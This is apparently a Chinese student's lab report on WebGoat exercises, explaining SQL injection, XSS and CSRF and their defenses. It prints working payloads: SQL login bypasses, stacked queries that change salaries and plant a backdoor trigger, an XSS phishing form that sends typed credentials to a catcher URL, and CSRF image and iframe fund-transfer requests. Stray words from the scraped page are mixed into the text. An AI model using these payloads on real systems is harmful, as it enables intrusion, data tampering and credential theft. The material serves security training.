SQL注入攻击原理,如何防护
原理:攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当作用户名等输入正常网页中以获取数据库信息的攻击或对数据库增删查改的基本操做。
防护:限制SQL字符串链接的配置文件;指定错误返回页面;替换或删除单引号;去除代码中的敏感信息;封装数据信息等。前端
XSS攻击的原理,如何防护
原理:恶意攻击者经过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
防护:对用户的输入进行处理,只容许输入合法的值,其它值一律过滤掉。若是有时候不能过滤的话,就将敏感的字符进行替换,让代码失去原本的样子,在读取的时候在替换回来。java
CSRF攻击原理,如何防护
原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,经过假装来自受信任用户的请求来利用受信任的网站。
防范:经过验证码来检测用户提交,尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post 操做 ,避免全站通用的cookie,严格设置cookie的域。web
此次实验进阶性的学习了SQL注入攻击、XSS攻击和CSRF攻击原理。我一共作了10个小实验。其中SQL注入攻击须要用到burpsuite作代理,因而我还熟悉了burpsuite的使用方法。还有,博客发迟了,请老师谅解。。sql
java -jar webgoat-container-7.0.1-war-exec.jar
开启webgoat,直到出现INFO: Starting ProtocolHandler ["http-bio-8080"]
,打开浏览器,在浏览器中输入localhost:8080/WebGoat
进入webgoator 1=1
%0d%0aLogin succeeded !admin
使用户看起来像登陆成功,成功截图以下:' or 1=1;--
SELECT * FROM user_data WHERE last_name = '' or 1=1;--'
,即查询表中全部信息。成功截图以下:在密码中输入' or 1=1 --
,失败,发现密码只能输入8位
数据库
因而能够改一下代码:
浏览器
成功截图以下:
安全
经过输入101; update employee set salary=5312
来给id为101的人改工资
cookie
注入成功
网络
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='yuanxin@qq.com' WHERE userid = NEW.userid
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
显示以下
xss
输入用户名和密码,提交便可截获
成功截图以下
Message List出现刚才的消息title
成功截图以下:
http://www.targetserver.com/search.asp?input=<script>alert("hello20145312");</script>
在message里输入<img src='attack?Screen=276&menu=900&transferFunds=145312' width='1' height='1'>
这其中,276是我网页的scr,900是个人网页的menu,145312是转钱数额。
点击20145212,方才的代码就会被执行
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>